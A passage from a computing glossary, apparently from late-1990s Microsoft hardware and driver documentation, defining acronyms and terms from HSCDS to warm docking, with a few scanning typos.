HSCDS	high-speed cable data services
HSM	hierarchical storage management
HTML	hypertext markup language
HTTP	hypertext transport protocol
hue	The color tint of an image. The color of the analog video signal is determined by three factors: hue, saturation, and luminance.
Human Interface Device Specification	The device class definition developed by the USB standards group for HIDS. Serves as the basis for the WDM input device support, and unifies input devices by providing flexible data reporting, typeless data, and arrayed and variable input and output.
Hz	Hertz (cycles per second).
I
I/O	Input/output. Two of the three activities that characterize a computer (input, processing, and output). Refers to the complementary tasks of gathering data for the microprocessor to work with and make the results available to the user through a device such as the display, disk drive, or printer.
I₂0	Intelligent I/O.
IA-PC	Intel Architecture Personal Computer. A general descriptive term for computers built with processors conforming to the architecture defined by the Intel processor family based on the 486 instruction set and having an industry-standard PC architecture.
ICC	International Color Consortium
ICD	installable Client Driver. An OpenGL driver model in which the driver is responsible for implementing the entire OpenGL pipeline. Intended for high-end graphics cards that implement most of the OpenGL pipeline in hardware.
ICM	image color matching
ICMP	Internet control message protocol
ID	identification
IDE	Integrated Device Electronics. A type of diskdrive interface where the controller electronics reside on the drive itself, eliminating the need for a separate adapter card.
IDT	Internet Development Toolbox
IEEE	Institute of Electrical and Electronics Engineers. Organization that developed the IEEE 802 standards, among others, for the physical and data-link layers of LANs following the ISO/OSI model.
IETF	Internet Engineering Task Force.
IFS	installable file system
IFSMGR	Installable File System Manager
IGN	Internet group names
IHV	Independent hardware vendor.
IIS	Internet Information Server
IMADPCM	music-oriented code
image	The computerized representation of a picture or graphic.
image resolution	The fineness or coarseness of an image as it is digitized; measured in dots per inch (DPI), typically ranging from 200 to 400 DPI.
in	In terms of data flow, indicates consumption of data. An in pin is compatible with an out pin.
INF file	Information file. A file created for a particular adapter that provides the operating system with information required to set up a device, such as a list of valid logical configurations for the device, the names of driver files associated with the device, and so on. An INF file is typically provided by the device manufacturer on a disk with an adapter.
INI file	Initialization file. Commonly used under Windows 3.x and earlier, INI files have been used by both the operating system and individual applications to store persistent settings related to an application, driver, or piece of hardware. In Windows NT and Windows 95, INI files are supported for backward compatibility, but the registry is the preferred location for storing such settings.
input class	The class of filters that provide an interface for HID hardware, including USB and legacy devices, plus proprietary and other HID hardware, under the WDM HID architecture.
instantiate	In object-oriented programming, to create an instance of a class.
instrumentation	A mechanism for reporting information about the state of PC hardware and software to enable management applications to ascertain and change the state of a PC and to be notified of state changes.
integrated device	Any device such as a parallel port, graphics adapter, and so on-that is designed on the system board rather than on an expansion card.
interactive video	A video program and a computer program running in tandem under the control of the user. In interactive video, the user's actions, choices, and decisions genuinely affect the way in which the program unfolds.
interface	For parameters on a connection request a specific set of methods and properties implemented on a medium that a filter connection uses to communicate, such as a specific set of IOCTLs.
interframe coding	Compression techniques that track the differences between frames of video. This results in more compression over a range of frames than intraframe coding.
interlaced	1. A scanning method that divides the screen into two fields, alternately drawing odd numbered and even-numbered scan lines. 2. A scheme to display a video image by displaying alternate scan lines in two discrete fields. Interlaced signals are used in broadcast video and are required for video to be compliant with NTSC.
interpolation	The process of averaging pixel information when scaling an image. When reducing the size of an image, pixels are averaged to create a single new pixel; when an image is scaled up in size, additional pixels are created by averaging pixels of the smaller image.
intraframe coding	Compression within each frame individually. This results in less compression over a range of frames than interframe coding.
IOCTL	Input/output control. A custom class of IRPs available to User mode. Each WDM class driver has a set of IOCTLs that it uses to communicate with applications. The IOCTLs give the class driver information about intended usage by applications. The class driver performs all IOCTL parameter validation.
IOS	I/O supervisor
IP	Internet Protocol
IPC	interprocess communication
IPL	Initial program load. A device used by the system during the boot process to load an operating system into memory.
IPX	Internetwork Packet Exchange
Ir	infrared
IRC	Internet relay chat
IrDA	Infared Data Association
IrLAP	Ir Link Access Protocol
IrLMP	Ir Link Management Protocol
IRP	I/O request packet. Data structures that drivers use to communicate with each other. The basic method of communication between kernel-mode devices. An IRP is a key data structure for WDM, which features multiple layered drivers. In WDM, every I/O request is represented by an IRP that is passed from one driver layer to another until the request is complete. When a driver receives an IU, it performs the operation the IRP specifies, and then either passes the IRP back to the I/O Manager for disposal or onto an adjacent driver layer. An IRP packet consists of two parts: a header and the I/O stack locations.
IRP_MJ_XXX	IRP Major. One of a predefined class of IRPs that a device can accept.
IRQ	Interrupt request. A method by which a device can request to be serviced by the device's software driver. The system board uses a PIC to monitor the priority of the requests from all devices. When a request occurs, the microprocessor suspends the current operation and gives control to the device driver associated with the interrupt number issued. The lower the number-for example, IRQ3-the higher the priority of the interrupt. Many devices only support raising requests of specific numbers.
ISA	Industry Standard Architecture. An 8-bit (and later, a 16-bit) expansion bus that provides a buffered interface from devices on expansion cards to the PC internal bus.
ISAPI	Internet Server API
ISDN	Integrated Service Digital Network. A set of communications standards that enable a single phone line or optical cable to carry voice, digital network services, and video.
ISIS	Image and Scanner Interface Specification
ISO	International Standards Organization.
ISO/OSI	International Standards Organization Open Systems Interconnection model. A layered architecture that standards levels of service and types of interaction for computers exchanging information through a communications network.
isochronous	Refers to a communication protocol based on time slices rather than handshaking. For example, a process might have 20 percent of total bus bandwidth. During its time slice, the process can stream data.
isolation	The Plug and Play process by which cards on an ISA bus are distinguished from each other after system startup.
ISP	Internet service provider
ISR	Interrupt service routine. A routine whose function is to service a device when it generates an interrupt.
ISV	independent software vendor
ITU	International Telecommunication Union
ITV	interactive television
IVR	interactive voice response
J
JPEG	Joint Photographic Experts Group. A working committee under the guidance of the ISO that is attempting to define a proposed universal standard for the digital compression and decompression of still images for use in computer systems.
K
KB	Kilobyte.
KDT	keyboard definition table
kernel	The core of the layered architecture that manages the most basic operations of the operating system, such as sharing the processor between different blocks of executing code, handling hardware exceptions, and other hardware-dependent functions.
kernel mode	The processor mode that allows full, unprotected access to the system. A driver or thread running in kernel mode has access to system memory and hardware.
kernel-mode driver	Driver for logical, virtual, or physical devices. Part of the underlying operating system that supports ring 0 operations.
kHz	kilohertz
L
L2	Level 2
LAN	Local area network. A group of computers and other devices dispersed over a relatively limited area and connected by a communications link that enables any device to interact with any other device on the network. Compare with WAN.
layered driver	One of a collection of drivers that responds to the same IRPS. Layered driver describes the highest-level and lowest-level drivers in a chain of layered drivers that process the same IRPS, along with all intermediate drivers in the chain.
LBA	logical block addressing
LCD	liquid crystal display
LDAP	lightweight directory access protocol
LED	light-emitting diode
legacy	Any feature in the PC system based on older technology for which compatibility continues to be maintained in other sytem components.
LFN	long file name
LIM	Lotus-Intel-Microsoft
local bus	Usually refers to a system bus directly connected to the microprocessor on a system board. Used colloquially to refer to system board buses located closer to the microprocessor than are ordinary expansion buses (that is, with less buffering), which are therefore capable of greater throughput.
lossless compression	Ensures that the original data is exactly recoverable with no loss in image quality.
lossy compression	The original data is not completely recoverable. Although image quality may suffer, many experts believe that up to 95 percent of the data in a typical image may be discarded without a noticeable loss in apparent resolution.
LPT	line printer
LRU	Least-recently used. Algorithm for paging.
LSB	least significant bit
luminance	Used to describe the black-and-white component of a video signal. The amount of luminance contained in a video signal is directly related to the amount of light intensity. Also, brightness; one of the three image characteristics coded in composite television (represented by the letter Y). See YUV.
M
MAC	Media Access Control
MADK	Microsoft active Development Kit
MAPI	Messaging Application Program Interface
master clock	Controls the rate of reference time within a graph and is used by filters within the graph to synchronize presentation times. Provides a standard mechanism to query the reference time, to query the physical clock time and rate (compared to the system clock) of the owner of the master clock, and to establish event notifications based on position changes in the master clock's reference time.
MB	Megabyte.
MBONE	multicast backbone
Mbps	megabits per second
MCA	Micro Channel Architecture
MCD	Miniclient Driver. An OpenGL driver model in which the driver is responsible only for handling those features that can be accelerated in hardware, leveraging software implementation to handle the rest of the pipeline.
MCI	Media Control Interface
MCL	Microsoft Compatibility Labs
MCT	Modem Compatibility Test
MDI	multiple document interface
MDK	Modem Developers Kit
MDL	Memory descriptor list. In Windows NT, an opaque structure, defined by Memory Manager, that uses an array of physical page frame numbers to describe the pages that back a virual memory range.
method set	Used in Windows NT and WDM drivers to perform an action, such as allocating memory, and to provide a way to access related actions. Each method set has a unique identifier used to retrieve that method set and can be fulfilled either synchronously or asynchronously. A resource method set contains resource-specific methods for manipulating a type of resource by a kernel-mode client, and is used in resource allocation by enumerated devices on a bus.
MFT	master file table
MHz	megahertz
MI	Management Interface
MIB	Management Information Base
Microsoft ActiveMovie	A cross-platform API for developers of multimedia applications that provides a User-mode connection and Stream architecture to support high-quality digital video, high-fidelity audio, and special effects.
Microsoft DirectX	A low-level API that provides User-mode media interfaces for games and other high-performance multimedia applications. DirectX is a thin layer, providing direct access to hardware services, and takes advantage of available hardware accelerators and emulates accelerator services when accelerators are not present.
MIDI	Musical Instrument Digital Interface. An industry-standard connection for computer control of musical instruments and devices. A hardware and data standard for communicating between hardware. Most references involve only the data standard, which is a byte stream used for controlling musical instruments and storing the output of such instruments.
minidriver	A hardware-specific DLL that uses a Microsoft-provided class driver to accomplish most actions through functions call and provides only device-specific controls. Under WDM, the minidriver registers each adapter with the class driver, which creates the device object. The minidriver uses the class driver's device object to make system calls.
miniport driver	A device-specific kernel-mode driver linked to a Windows NT or WDM port driver, usually implemented as a DLL that provides an interface between the port driver and the system.
MIPS	Millions of instructions per second. A common measure of processor speed.
MIS	Management information system.
mixer class	The class of filters that deal with manipulating controls such as volume, treble, and so on.
MLPPP	multilink point-to-point protocol
MMC	Microsoft Management Console
MMIO	memory-mapped I/O
monolithic driver	A driver that has many different classes of functionality contained in the same driver.
motherboard	See system board.
MPEG	Motion Picture Experts Group. Used when referring to one of several standard video compression schemes. A codec for squeezing full screen, VHS-quality digital video into a small data stream so it can be played from a CD-ROM drive.
MPS	Multiprocessor Specification
MPX	multiplexed ms millisecond
MSB	most significant bit
MSDL	Microsoft Download Library
MSDN	Microsoft Developer Network.
MTD	Memory technology driver. A protected mode driver that works with Windows 95 protected mode PC Card software to enable form-factor cards, such as flash memory cards. Such memory cards and their related drivers do not provide full Plug and Play capabilities.
MTF	Microsoft tape format
MTU	maximum transmission unit
multifunction device	A piece of hardware that supports multiple, discrete functions, such as audio, mixer, and music, on a single adapter.
multimedia	Refers to the delivery of information that combines different content formats (motion video, audio, still images, graphics, animation, text and so forth).
multimedia processing driver	See filters.
music class	The class of filters that deal with music data, such as ZIPI or MMI.
N
NBDD	NetBIOS datagram distribution server
NBNS	NetBIOS name server
NC	network computer
NCB	network control block
NCP	NetWare core protocol
NDA	Non-Disclosure Agreement
NDD	Norton Disk Doctor
NDIS	Network Driver Interface Specification. The interface for network drivers used in Windows and Windows NT. NDIS provides transport independence for network vendors because all transport drivers call the NDIS interface to access the network.
NDS	NetWare Directory Services
NetBEUI	NetBIOS Extended User Interface
NetBIOS	network basic input output system
NetBT	NetBIOS over TCP/IP
NetPC	Network PC. A PC designed to meet the industry specification for Network PC systems, which optimizes PC design for flexibility and manageability in order to reduce the total cost of ownership.
NetX	NetWare 3.x client shell
NFS	Network File System
nibble mode	An asynchronous, peripheral-to-host channel defined in the IEEE 1284-1944 standard. Provides a channel for the peripheral to send data to the host, which is commonly used as a means of identifying the peripheral.
NIC	network interface card
NIS	Network Information Service
NLS	National Language Support
NMI	Nonmaskable Interrupt. An interrupt that cannot be overruled by another service request. A hardware interrupt is called nonmaskable if it bypasses and takes priority over interrupt requests generated by software, the keyboard, and other devices.
NNTP	network news transport protocol
non-interlaced	The method of scanning all lines on a display from top to bottom in sequential order at a specific rate per second. Unlike television, which uses an interlaced scanning method, computers typically use non-interlaced monitors.
NOS	network operating system
NP	network provider
NPI	network provider interface
ns	nanosecond
NSP	Native signal processing.
NTFS	Windows NT file system. An advanced file system designed for use specifically with the Windows NT operating system. NTFS supports file system recovery and extremely large storage media, in addition to other advantages.
NTKERN	The Windows "Memphis" version of the kernel component 'm Windows NT.
NTSC	National Television System Committee of the Electronics Industries Association (EIA). The standards-setting body for television and video in the United States. Sponsor of the NTSC standard for encoding color, a coding system compatible with black-and-white signals and the first system used for color broadcasting in the United States. The broadcast standard for the United States and Japan. See also PAL format and SECAM.
NTSC format	A color-television format having 525 scan lines, a field frequency of 60 Hz, a broadcast bandwidth of 4 MHz, line frequency of 15.75 KHz, frame frequency of 1/30 of a second, and a color subcarrier frequency of 3.5 8 MHz. See also PAL format and SECAM.
O
OAK	OEM Adaption Kit
OCR	optical character recognition
ODBC	Open Database Connectivity
ODI	Open Datalink Interface
OEM	Original equipment manufacturer. Used primarily to refer to PC systems manufacturers.
OLE	Object linking and embedding. A way to transfer and share information among applications. OLE is based on the COM programming model and binary standard.
OnNow	A design initiative that seeks to create all the components required for a comprehensive, system-wide approach to system and device power control. OnNow is a term for a PC that is always on but appears off and that responds immediately to user or other requests.
OOP	object oriented programming
OpenHCI	Open Host Controller Interface
OPK	OEM preinstallation kit
option ROM	Optional read-only memory found on PC bus expansion cards. Option ROMs usually contain additional firmware required to properly boot the peripheral connected to the expansion card, for example, a hard drive. Also expansion ROM.
OR	A logical operation for combining two bits or two Boolean values; if one or both values are true, it returns the values of true. Compare with XOR
OS	operating system
OSF	Open Systems Foundation
OSI	Open System Interface
OSPM	Operating-system-directed power management. A model of power (and system) management in which the operating system plays a central role and uses global information to optimize system behavior for the task at hand.
OSR	OEM service release
OTC	on-tape catalog
OU	Organizational Unit
out	In terms of data flow in kernel streaming and ActiveMovie, indicates production of data. An out pin is compatible with an in pin.
P
packed-pixel frame buffer	A portion of the display memory that holds the contents of a single screen image with screen bits stored in a single plane and with each pixel on the screen having a set of two or more corresponding bits that define the pixel color.
PAD	packet assemblers/disassemblers
PAL format	Phase Alternation Line format. 'The European video standard, except for France. See also NTSC and SECAM.
PAP	password authentication protocol
PBX	private branch exchange
PC	(1) personal computer; (2) packet classifier
PC 97	The 1997-98 requirements for PC system and peripheral design for the "Designed for Microsoft Windows" logo, as defined in PC 97 Hardware Design Guide.
PC 98	The 1998-99 requirements for PC system and peripheral design for the "Designed for Microsoft Windows" logo, as defined in PC 98 Checklist, which is an addendum to PC 97 Hardware Design Guide.
PC Card	A trademark of PCMCIA. A removable device that is designed to be plugged into a PCMCIA slot and used as a memory-related peripheral.
PCI	Peripheral Component Interconnect. A high-performance, 32-bit or 64-bit bus designed to be used with devices that have high bandwidth requirements, such as the display subsystem.
PCM	Pulse code modulation. A method of encoding information in a signal by varying the amplitude of pulses. The most common method of encoding an analog signal into a digital bit stream.
PCMCIA	Personal Computer Memory Card International Association. Sometimes used to refer to a controller for a type of expansion card documented in the PCMCIA standards.
PCT	private communication technology
PDC	primary domain controller
PDL	page description language
PE	Portable EXE
PIC	programmable interrupt controller
PIF	program information file
pin	A set of filter-defined properties in kernel streaming and ActiveMovie that specify a connection endpoint. For example, audio input can be described by a pin on a filter.
PIO	programmed I/O
pixels	An abbreviation for picture element. The minimum raster display element, represented as a point with a specified color or intensity level. One way to measure picture resolution is by the number of pixels used to create images.
planar	See system board.
Plug and Play (PnP)	A design philosophy and set of specifications that describe hardware and software changes to the PC and its peripherals that automatically identify and arbitrate resource requirements among all devices and buses on the system. Plug and Play specifies a set of API elements that are used in addition to, not in place of, existing driver architectures.
Plug and Play BIOS	A BIOS with responsibility for configuring Plug and Play cards and system. board devices during system power up. Provides runtime configuration services for system board devices after startup. See also ACPI.
PnP	Plug and Play
PO	Power management component in kernel
PON	Passive Optical Network
POP	point of presence
port	A connection or socket used to connect a device such as a printer, monitor, or modem-to the computer. Information is sent from the computer to the device through a cable.
port driver	A low-level driver that responds to a set of system-defined device control requests and possibly to an additional set of driver-defined (private) device control requests sent down by a corresponding class driver. A port driver insulates class drivers from the specifics of host bus adapters and synchronizes operations for all its class drivers.
port replicator	Low-cost docking-station substitute intended to provide convenient, one-step connection to multiple desktop devices.
POSIX	Portable Operating System Interface
POST	Power-on self-test. A procedure of the system BIOS that identifies, tests, and configures the PC in preparation for loading the operating system.
POTS	plain old (analog) telephone service/system
power management	Mechanisms in software and hardware to system power consumption, manage system thermal limits, and maximize system battery life. Power management involves trade-offs among system speed, noise. battery life, processing speed, and AC power consumption. Power management is required for some system functions, such as appliance operations (including answering machine, furnace control, and so on).
power policy	For power management, the decisions that determine how to save energy and when to go to sleep, based on end-user preferences, application needs, and system hardware capabilities.
power resources	Resources such as power planes, clock sources, and so on that a device requires to operate in a given power state.
power sources	The battery and AC adapter that supply power to a platform.
PPP	point-to-point protocol
PPTP	point-to-point tunneling protocol
PRI	primary rate interface
program guide	The on-screen user interface that allows users to select, manage, and search television programs and other content-viewing options.
property	In WDM and Windows NT device driver models, an aspect of the device or stream that can be set or retrieved, such as volume level.
property set	In WDM and Windows NT device driver models, a method defined to set and get properties on a driver. Each property set has a unique identifier, which represents types of related information and is used to access the property set.
PS	packet scheduler
PSTN	Public Switched Telephone Network
Px64	Also CCITT Recommendation H.261. A draft standard for motion video compression in videophone and teleconferencing applications, designed for 64-Kbps transmission channels.
Q
QFE	quick fix engineering
QOS	Quality of Service
R
RAM	random access memory. Semiconductor based memory that can be read and written by the microprocessor or other hardware devices. Refers to volatile memory, which can be written as well as read.
RAMDAC RAM	digital-to-analog converter. A chip built into some VGA and SVGA display adapters that translates the digital representation of a pixel into the analog information needed by the monitor to display it. The presence of a RAMDAC chip usually enhances overall display performance.
RAS	remote access service
raster	A rectangular pattern of lines.
raster graphics	Also bitmapped graphics. Images defined as a set of pixels or dots in a column and row format.
rasterization	The conversion of vector graphics (images described mathematically as points connected by straight lines) to equivalent images composed of pixel patterns that can be stored and manipulated as sets of bits.
RAW	read and write
RDR	redirector
real time	In computing, refers to an operating mode under which data is received and processed; the results are returned instantaneously.
real-time processing	processing that supports real-time functions such as telephony.
Redbook audio	The data format standard for conventional audio CDs used in home stereo systems.
registry	In Windows and Windows NT, the tree structured hierarchical database where general system hardware and software settings are stored. The registry supersedes the use of separate INI files for all system components and applications that know how to store values in the registry.
resolution	Number of pixels per unit of area. A display with a finer grid contains more pixels and thus has a higher resolution and is capable of reproducing greater detail in an image.
resource	1. Any sort of set from which a subset can be allocated for use by a client, such as memory, bus bandwidth, or MIPS. This is not the same as resources that are allocated by Plug and Play. 2. A general term that refers to IRQ signals, DMA channels, I/O port addresses, and memory addresses for Plug and Play.
resource arbitrator	In Plug and Play device configuration, a set of functions used by the configuration manager to arbitrate and allocate resources on the PC.
resource conflict	In Plug and Play device configuration, the result of more than one device sharing the same, nonshareable resource. Conflicts can cause the device to be partially functional or nonfunctional, or can cause the PC to malfunction completely.
resource data type function	A function that describes the resource requirements of an ISA expansion card as well as the programmability available on the card and its interdependencies.
RF	radio frequency
RFC	Request for Comments
RFP	request for proposals
RGB	Red-green-blue. The primary colors in color video. Often used to describe a video color recording scheme and the equipment that uses it. Also, a computer color-display output signal comprised of separately controllable red, green, and blue signals (as opposed to composite video, in which signals are combined prior to output). RGB monitors typically offer higher resolution than composite monitors. Compare with CMYK.
RIP	Routing Information Protocol
RIPL	remote initial program load
RISC	Reduced instruction set computing. A type of microprocessor design that focuses on rapid and efficient processing of a relatively small set of instructions. RISC architecture limits the number of instructions that are built into the microprocessor, but optimizes each so it can be carried out very rapidly, usually within a single clock cycle.
RISC-based	Refers to computers based on Windows NT-compatible implementations RISC processors.
RLE	Run-length encoding. A data-compression technique in which successive bytes of identical data are converted into a 2-byte pair, consisting of the repeated data byte and the repeat count.
RMS	root-mean-square
RNA	Remote Network Access
ROM	read-only memory
RPC	remote procedure call
RSA	public-key cipher for encryption/decryption
RSVP	resource reservation Protocol
RTC	real-time clock
RTP	real-time transport protocol
RTS	request to send
S
S/PDIF	Sony/Phillips Digital Interface. The current standard for digital connection to consumer audio devices is the S/PDIF connector. Microsoft is encouraging the use of USB or IEEE 1394 as the digital connection between stereo equipment and PCs rather than adapting S/PDEF to meet PC needs.
sampling	The first step in the process of converting an analog signal into a digital representation. Accomplished by measuring the value of the analog signal at regular intervals (called samples). These values are then encoded to provide a digital representation of the analog signal.
SAP	Service Access Protocol
saturation	The extremes of operating range wherein the output is constant, regardless of changes in input.
scalability	The ability to vary the information content of a program by changing the amount of data that is stored, transmitted, or displayed. In a video image, this translates to creating larger or smaller windows of video on screen (shrinking effect).
scaling	Process of uniformly changing the size of charades or graphics.
SCAM	SCSI Configured Automatically.
SCI	System control interrupt. A system interrupt used by hardware to notify the operating system of ACPI events. The SCI is an active low, shareable, level interrupt.
SCSI	Small computer system interface. Pronounced "scuzzy." An I/O bus designed as a method for connecting several classes of peripherals to a host system without requiring modifications to generic hardware and software.
SCT	Software Compatibility Test
SDE	software development engineers
SDK	Software development kit.
SECAM	Sequential Couleur a Memoire (Sequential Color with Memory). The television standard for France, Russia, and most of Eastern Europe. As with PAL, SECAM is based on a 50-Hz power system but it uses a different encoding process and displays 819 horizontal lines per frame at a scan rate of 25 frames per second (50 fields per second). See also NTSC and PAL format.
sequencer	Hardware or software functionality that interprets a time-stamped music data stream and sends packets to music hardware as their time comes due.
SETP	Stream Environment Transport Protocol
SFF	small form factor
SFS	shared file system
SIGNC	Special Internet Group Name Cache
sink	In terms of device stacking in ActiveMovie, indicates that a pin represents possible connections that are attached to, rather than those that attach. Compare with source.
SIPC	Simply Interactive PC. A vision guiding investments that Microsoft is making in software and hardware advances to make the PC as simple, convenient, and approachable as an appliance.
SIPDIF	Sony/Phillips Digital Interface.
SIR	Serial I
SMART	Self-Monitoring Analysis and Reporting Technology
Smart Battery subsystem	A battery subsystem that conforms to the ACPI requirements and implementation defined in Smart Battery Charger Specification and related specifications.
Smart Battery table	An ACPI table used on platforms that have a Smart Battery subsystem. This table indicates the energy level trip points that the platform requires for placing the system into different sleeping states, plus suggested energy levels for warning the user to transition the platform into a sleeping state.
SMB	server message block
SMBus	A two-wire interface based on the 12C protocol. The SMBus is a low-speed bus that provides positive addressing for devices, as well as bus arbitration.
SMBus interface	ACPI defines a standard hardware and software communications interface between an operating system bus driver and an SMBus controller using an embedded controller.
SMI	System management interrupt. An operating system-transparent interrupt generated by interrupt events on legacy systems. By contrast, on ACPI systems, interrupt events generate an operating-system visible interrupt that is shareable (edge-style interrupts will not work).
SMP	symmetric multiprocessing
SMPTE timecode	An 80-bit standardized edit time code adopted by the Society of Motion Picture and Television Engineers. See timecode.
SMS	1) Microsoft Systems Management Server. Provides a centralized management service for distributed systems. 2) Short messaging service.
SMTP	Simple Mail Transport Protocol
SNA	Software Network Architecture
SNMP	Simple Network Management Protocol
SNR	signal-to-noise ratio (also S/N)
socket services	In Windows, a protected-mode VxD that manages PC Card hardware. Provides a protected-mode PCMCIA Socket Services 2.x interface for use by Card Services. A socket services driver must be implemented for each separate PC Card controller that is used.
software device	A filter in kernel streaming and ActiveMovie that has no underlying hardware associated with it.
software modem	Also host-based signal processing or pumpless modem. Performs signal processing on the host CPU and implements the controller using V.42bis. The modem hardware consists of a telephone-line interface and digital-to-analog and analog-to-digital conversion circuitry. The hardware does not contain a DSP or a microcontroller. Compare with controllerless modem.
Sound Blaster	Hardware produced by Creative Labs, Inc., that represents for MS-DOS-based games one of the major hardware interfaces for both audio and music (specifically MMI) data.
source	In terms of device stacking in kernel streaming or ActiveMovie, indicates that a pin represents possible connections that attach, rather than those that are attached to. Compare with sink.
SPI	Service Provider Interface. Component in Microsoft networking, TAPI, and other communications technologies.
SPID	service profile identifier
spin down	A power-management capability in which a hard drive shuts down its spindle motor.
SPX	Sequenced Packet Exchange
SQL	Structured Query Language
SRC	sample rate converter
SSA	Serial Storage Architecture
SSI	single system image
SSL	secure sockets layer
static	VxD A VxD that is loaded statically during system startup. A static VxD can be loaded in a number of different ways, including device enumeration by the Plug and Play static device enumerator.
static resources	Device resources, such as IRQ signals, DMA channels, I/O port addresses, and memory addresses, that cannot be configured or relocated.
STI	Still Image class in the WDM architecture. The class of filters that deal with still-image capture. A WDM STI minidriver provides support for still-image devices under the WDM still-image architecture.
STI plug-in	In the STI class architecture, a module that manages the translation of standard DDI calls to device-specific sequences in order to support vendor-specific device features.
stream	An object representing an entity on an adapter capable of receiving, processing, or supplying data. Notice that a stream is identical to a WDM Stream architecture pin. A stream can accept data from or supply data to the processor, such as a stream representing an MPEG input or can simply route data through hardware, such as a stream representing an NTSC output jack on the back of an adapter. The purpose of representing nondata hardware with a stream is that the properties of the hardware can be controlled by software.
STS/EN	Status and Enable bits
STT	secure transaction technology
SVC	switched connection
SVD	Simultaneous voice/data. A technology used in TAPI-based modem technology.
SVGA	Super VGA. A video standard established by VESA to provide high-resolution color display on IBM-compatible computers. The most commonly implemented SVGA standard is 1024x768 pixels resolution.
S-Video	Also Y/C video. A video signal that separates the luminance and color (Y and C) components of the signal for improved quality over composite video. The type of video signal used in the Hi8 and S-VHS videotape formats. It transmits luminance and color portions separately, using multiple wires, thus avoiding the NTSC encoding process and its inevitable loss of picture quality.
symmetrical compression	A compression system that requires equal processing capability for compression and decompression of an image. This form of compression is used in applications in which both compression and decompression are used frequently. Examples include still-image databasing, still-image transmission (color fax), video production, video mail, videophones, and video conferencing. Compare with asymmetrical compression.
synchronous	Any operation that proceeds under control of a clock or timing mechanism. Compare with asynchronous.
system board	Also motherboard or planar. The primary circuit board in a PC that contains most of the basic components of the system.
system context	The volatile data in the system that is not saved by a device driver.
system devices	Devices on the system board, such as interrupt controllers, keyboard controller, realtime clock, DMA page registers, DMA controllers, memory controllers, FDC, IDE ports, serial and parallel ports, PCI bridges, and so on. In today's PCs, these devices are typically integrated in the supporting chip set.
T
TAPI	Telephony Application Program Interface. A set of Win32-based calls that applications use to control modems and telephones by routing application function calls to the appropriate service provider DLL for a modem.
TC	Traffic control
TCO	total cost of ownership
TCP	Transmission Control Protocol
TCP/IP	Transmission Control Protocol/Internet Protocol
TDI	transport driver interface
TDMA	time-division multiple access
telephony	Telephone technology. The conversion of sound into electrical signals, its transmission to another location, and its reconversion to sound with or without the use of connecting wires.
TFTP	Trivial File Transfer Protocol
TIA	Telecommunications Industry Association
timecode	For UTEG, frame-by-frame address code time reference recorded on the spare track of a videotape or inserted in the vertical blanking interval. It is an eight-digit number, encoding time in hours, minutes, seconds, and video frames (for example, 02:04:48:26).
TOS	Type of service
Transform	A set in kernel streaming and ActiveMovie that defines the access to a filter actually provided by a pin. Each pin supports one transform.
TSD	type-specific driver
TSPI	telephony service provider interface
TSR	terminate-and-stay-resident
TTL	(1) time to live; (2) transistor-transistor logic
tuple	A data structure defined by the PCMCIA to describe a single, specific characteristic of a PC Card device. Tuples are chained together to form the CIS, which describes to system software the PC Card's resource requirements and other characteristics. Tuples consist of a tuple code, an offset to the next tuple, and a number of bytes specific to the tuple.
TWAIN	API for image acquisition developed by an association of industry leaders. The specification is available from http://www.twain.org.
TXD	transmission data (also XOR)
U
UART	Universal Asynchronous Receiver/Transmitter. A module composed of a single integrated circuit, which contains both the receiving and transmitting circuits required for asynchronous serial communication.
UAS	user account system
UCT	universal coordinated time
UDP	User Datagram Protocol
UHCI	Universal Host Controller Interface
Ul	user interface
UMA	Unified Memory Architecture
UNC	Universal naming convention.
Unimodem	Universal modem driver. A driver level component that uses modem description files to control its interaction with the communications driver, VCOMM.
UP	Uniprocessor (single CPTJ)
UPS	Uninterruptible power supply. A device connected between a computer and a power source that ensures that electrical flow to the computer is not interrupted because of a blackout and, in most cases, protects the computer against potentially damaging events such as power surges and brownouts.
URB	USB request block
URB	USB request block. Clients send URB transfers to the bus by including a pointer in an IRP to a URB structure; a function within the URB identifies the specific request.
USB	Universal Serial Bus. A bidirectional, isochronous, dynamically attachable serial interface for adding peripheral devices such as game controllers, serial and parallel ports, and input devices on a single bus.
USB class	The class of filters under WDM that provides a bus interface and bus enumerator for USB.
User mode	For Windows and Windows NT, the nonprivileged processor mode in which application code executes, including protected subsystem code m Windows NT.
User-mode drivers	Win32-based multimedia drivers and VDDs for MS-DOS-based applications with application-dedicated devices. For more information, see the Multimedia Drivers and Virtual DOS Drivers documentation in the Windows NT DDK.
UTP	unshielded twisted pair
V
VAR	Value added reseller. A company that resells hardware and software packages to developers and/or end users.
VAR	value-added retailer
VBI	Vertical blanking interval. The time interval between television fields needed for the scanning gun to move from the bottom to the top of the screen for the start of the next field.
VC	virtual circuit
VCACHE	In Windows, a 32-bit protected-mode cache driver.
VCDFSD	virtual CD-ROM file system driver
VCI	virtual channel identifier
VCOMM	In Windows, a 32-bit protected-mode communications driver.
VCR	Video cassette recorder . An analog magnetic recording and playback machine. Usually used for recording and viewing full-motion video; also useful as a data backup device.
VDD	Virtual display driver.
VDM	(1)virtual DOS machine; (2) virtual device manager (Windows NT)
VDMA	Virtual Direct Memory Access
VDMAD	virtual DMA device
vector graphics	Images defined by sets of straight lines, defined in turn by the locations of the end points.
VESA	Video Electronics Standards Association. The governing body that establishes standards for the video and graphics portions of the electronics industry.
VFW	Video for Windows
VGA	Video graphics array. A video adapter that supports 64Gx480-pixels color resolution. Video display standard for boot devices under Windows operating systems. Provides medium-resolution text and graphics.
video codecs	Full-color video. Requires 3 bytes per pixel, at 64Ox480 resolution; equals nearly I MB of digital data per frame. This means that a developer could easily use 1 GB of hard-disk space by storing less than one minute of uncompressed digital video information.
VLM	NetWare 4.x client shell
VM	Virtual machine. Software that mimics the performance of a hardware device. For example, a software program that allows applications written for an Intel processor to be run on a Motorola chip interprets the Intel machine instructions, becoming a virtual Intel machine.
VPE	Video Port Extensions. Extensions to the DirectDraw API to control the video stream from the video port within the context of VGA memory.
VPI	virtual path identifier
VPICD	virtual programmable interrupt controller device
VPN	Virtual Private Network
VRAM	video RAM
VRML	virtual reality modeling language
VSD	vendor-supplied driver
VUDA	VESA Unified Graphics Architecture
VxD	Virtual Device Driver. A device driver that runs at the privileged ring 0 protected mode of the microprocessor. Can extend the services of the Windows kernel, supervise hardware operations, or perform both functions. Such driver files are usually named according to the scheme VxD, where x refers to the device or service supported.
W
W3C	World Wide Web Consortium
WAN	Wide area network. A communications network that connects geographically separated areas. Compare with LAN.
warm docking	A method of removing or installing a mobile system in a docking station with which the computer can be docked or undocked while in a reduced power state, such as suspend.
